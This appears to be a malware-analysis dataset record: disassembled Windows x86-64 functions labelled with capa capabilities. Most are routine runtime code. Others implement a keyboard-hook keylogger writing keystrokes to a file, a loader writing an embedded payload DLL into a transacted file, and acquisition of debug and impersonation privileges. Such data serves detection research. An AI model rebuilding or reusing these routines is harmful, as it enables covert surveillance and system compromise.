joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140049c10
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140049c40
xor eax, eax
jmp 0x140049d03
mov rbp, rbx
cmp word [rax], si
je 0x140049c65
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140049c4c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140049c48
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140047898
movsxd r14, eax
test eax, eax
jne 0x140049ca3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140049c39
mov rcx, r14
call fcn.140043e60
mov rdi, rax
test rax, rax
jne 0x140049cbc
xor ecx, ecx
call fcn.140042b54
jmp 0x140049c98
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140047898
test eax, eax
jne 0x140049ced
mov rcx, rdi
call fcn.140042b54
jmp 0x140049cf7
xor ecx, ecx
call fcn.140042b54
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140049d20
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140049da7
mov rsi, rbx
cmp word [rax], bp
je 0x140049d66
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140049d50
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140049d4c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140043e60
mov rdi, rax
test rax, rax
je 0x140049d94
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14002fd70
mov rbp, rdi
xor ecx, ecx
call fcn.140042b54
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14004d170
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400455e0
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14004d211
cmp ebx, dword [rsp + 0x30]
je 0x14004d20a
test esi, esi
je 0x14004d20a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14004d1e5
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14004d1f2
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14004d1cf
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14004d1f6
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14004d213
mov eax, 1
jmp 0x14004d213
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14004fdb0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14004fdc6
mov al, 1
jmp 0x14004fe26
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14004fdd7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14004fe24
mov ecx, dword [rcx + 0x18]
nop
call fcn.14004ac1c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14004fe24
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14004fe24
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14004fe24
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14004fe26
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400513c4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400386fc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14005144e
cmp byte [rbp - 0x21], r15b
je 0x140051449
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140051484
call fcn.140042e58
test eax, eax
jne 0x140051470
cmp byte [rbp - 0x21], r15b
je 0x140051468
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140051484
cmp byte [rbp - 0x21], r15b
je 0x140051481
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14003c3fc
test eax, eax
jne 0x140051524
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400386fc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400514c3
cmp byte [rbp - 0x21], r15b
je 0x1400514f8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400514f8
call fcn.140042e58
test eax, eax
jne 0x1400514e4
cmp byte [rbp - 0x21], r15b
je 0x1400514dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400514f8
cmp byte [rbp - 0x21], r15b
je 0x1400514f5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14003c3fc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140051524
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140051527
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140051535
mov rcx, rdi
call fcn.140042b54
cmp byte [rbp + 0x3f], r15b
je 0x140051544
mov rcx, qword [rbp + 0x27]
call fcn.140042b54
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005480]
mov dword [rax], 1
mov rax, qword [0x140005490]
mov dword [rax], 1
mov rax, qword [0x1400054a0]
mov dword [rax], 1
mov rax, qword [0x140005440]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016d0
Capabilities:
Print debug messages

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xc0], ecx
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], r8
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov edx, dword [rax]
lea rax, [rbp - 0x60]
mov r8d, edx
lea rdx, str.Key_pressed:__02X
mov rcx, rax
call sym.sprintf
lea rax, [0x140005062]
mov rdx, rax
lea rax, str.output.txt
mov rcx, rax
call sym.fopen
mov qword [0x1400090a8], rax
mov rax, qword [0x1400090a8]
lea rdx, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x14000506f]
mov rcx, rax
call sym.fprintf
mov rax, qword [0x1400090a8]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
mov rcx, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xc8]
mov eax, dword [rbp + 0xc0]
mov r9, rcx
mov r8, rdx
mov edx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
add rsp, 0x130
pop rbp
ret
Function at 0x1400017b0
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
call sym.__main
lea rax, [0x140005073]
mov rdx, rax
lea rax, str.output.txt
mov rcx, rax
call sym.fopen
mov qword [0x1400090a8], rax
mov rax, qword [0x1400090a8]
mov rcx, rax
call sym.fclose
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov r9d, 0
mov r8, rax
lea rax, [dbg.LowLevelKeyboardProc(int, unsigned long long, long long)]
mov rdx, rax
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [0x1400090a0], rax
mov rax, qword [0x1400090a0]
test rax, rax
jne 0x140001864
lea rax, str.Failed_to_set_hook_
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400018a6
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0x30]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
setne al
test al, al
jne 0x140001844
mov rax, qword [0x1400090a0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140001be0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x1400028b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x14000294a
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x14000292e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002922
cmp qword [rbp - 0x10], 0
je 0x140002922
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400028e8
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000294b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002a50
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002a78
mov eax, 0
jmp 0x140002ac6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002aa1
mov eax, 0
jmp 0x140002ac6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002ac1
mov eax, 0
jmp 0x140002ac6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002acc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002b4a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002b41
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002b41
mov rax, qword [rbp - 8]
jmp 0x140002b5f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002b14
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140011366
Capabilities:
Terminate process

Disassembly:
jmp 0x1400217d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011447
Capabilities:
Parse pe header

Disassembly:
jmp 0x140022b20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140022b40
xor al, al
jmp 0x140022bc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140022b53
xor al, al
jmp 0x140022bc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140022b7d
xor al, al
jmp 0x140022bc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140022b91
xor al, al
jmp 0x140022bc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140022ba3
xor al, al
jmp 0x140022bc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140022bbf
xor al, al
jmp 0x140022bc1
mov al, 1
add rsp, 0x38
ret
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
invalid
add dword [0x13ae24561], ecx
stosb byte [rdi], al
pop rsi
jne 0x14002326a
invalid
Function at 0x140607058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406071df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140607089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060706f
add dl, dl
jne 0x140607096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406070f6
xor eax, eax
add dl, dl
jne 0x1406070a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406071ad
add dl, dl
jne 0x1406070b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406070c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406070d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406070dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406070ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14060707e
mov eax, 1
add dl, dl
jne 0x140607106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140607113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406070fb
sub eax, ebx
mov ebx, 1
jne 0x14060714c
mov ecx, 1
add dl, dl
jne 0x14060712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14060713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140607123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140607168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140607175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060715d
cmp eax, 0x7d00
jae 0x14060719b
cmp eax, 0x500
jb 0x140607196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060707e
cmp eax, 0x7f
ja 0x14060719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406071d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14060707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002860
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0xa0
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x98], rax
xor ebx, ebx
mov dword [rsp + 0x68], 0x30
xorps xmm0, xmm0
mov qword [r11 - 0x68], rbx
movups xmmword [rsp + 0x70], xmm0
mov r15, rcx
mov qword [r11 - 0x60], rbx
xor eax, eax
mov dword [rsp + 0x60], ebx
lea edx, [rbx + 0x67]
mov qword [r11 - 0x28], rax
lea r8d, [rbx + 0xa]
xor ecx, ecx
movups xmmword [r11 - 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140002a67
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rdi
xor ecx, ecx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140002a67
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x140002a67
test esi, esi
je 0x140002a67
mov edx, esi
lea rcx, str.Loaded_payload_DLL__image_size:__d_bytes_n
call fcn.140003c10
lea rdx, [rsp + 0x50]
mov ecx, esi
call fcn.140002440
test eax, eax
je 0x140002a67
mov rdi, qword [rsp + 0x50]
lea rcx, str.Found_file_for_transaction:__ws_n
mov rdx, rdi
call fcn.140003c10
mov qword [rsp + 0x48], rbx
lea r8, [rsp + 0x68]
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x38], ebx
xor r9d, r9d
mov dword [rsp + 0x30], ebx
mov edx, 0x1f003f
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ntdll.dll_NtCreateTransaction]
test eax, eax
je 0x14000299c
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [0x1400075f8]
call fcn.1400038f0
jmp 0x140002a55
mov rax, qword [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0xc0000000
mov qword [rsp + 0x38], rax
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov qword [rsp + 0xc8], rbp
call qword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1400029f8
lea rcx, str.CreateFileTransacted
call fcn.1400038f0
jmp 0x140002a4d
mov rdx, rdi
lea rcx, str.Opened_file__ws_for_transaction._n
call fcn.140003c10
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rbx
mov r8d, esi
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140002a32
lea rcx, [0x140007698]
call fcn.1400038f0
jmp 0x140002a4d
mov edx, dword [rsp + 0x60]
lea rcx, str.Wrote__d_bytes_of_embedded_payload_DLL_to_transacted_file._n
mov r8, rdi
call fcn.140003c10
mov qword [r15], rbp
mov ebx, 1
mov rbp, qword [rsp + 0xc8]
test rdi, rdi
je 0x140002a63
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, ebx
jmp 0x140002a69
xor eax, eax
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400043a0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140002fc0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ebx, ebx
mov r14d, r9d
mov qword [rsp + 0x28], rbx
mov rbp, r8
mov qword [rsp + 0x20], rbx
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x28]
mov edx, 0x2000000
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140003020
lea rcx, [0x140006d80]
call fcn.1400038f0
jmp 0x1400030a5
mov rcx, qword [rsp + 0x28]
lea rdx, str.SeDebugPrivilege
mov r8d, 1
call fcn.140004140
test eax, eax
je 0x1400030a5
mov rcx, qword [rsp + 0x28]
lea rdx, str.SeImpersonatePrivilege
mov r8d, 1
call fcn.140004140
test eax, eax
je 0x1400030a5
mov r9d, r14d
lea rdx, [rsp + 0x20]
mov r8, rbp
mov rcx, rdi
call fcn.140002aa0
test eax, eax
je 0x1400030a5
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, qword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov qword [rsp + 0x30], rax
call qword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
jne 0x14000309d
lea rcx, [0x140007910]
call fcn.1400038f0
jmp 0x1400030a5
mov qword [rsi], rdi
mov ebx, 1
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400030b5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400043a0
add rsp, 0x40
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret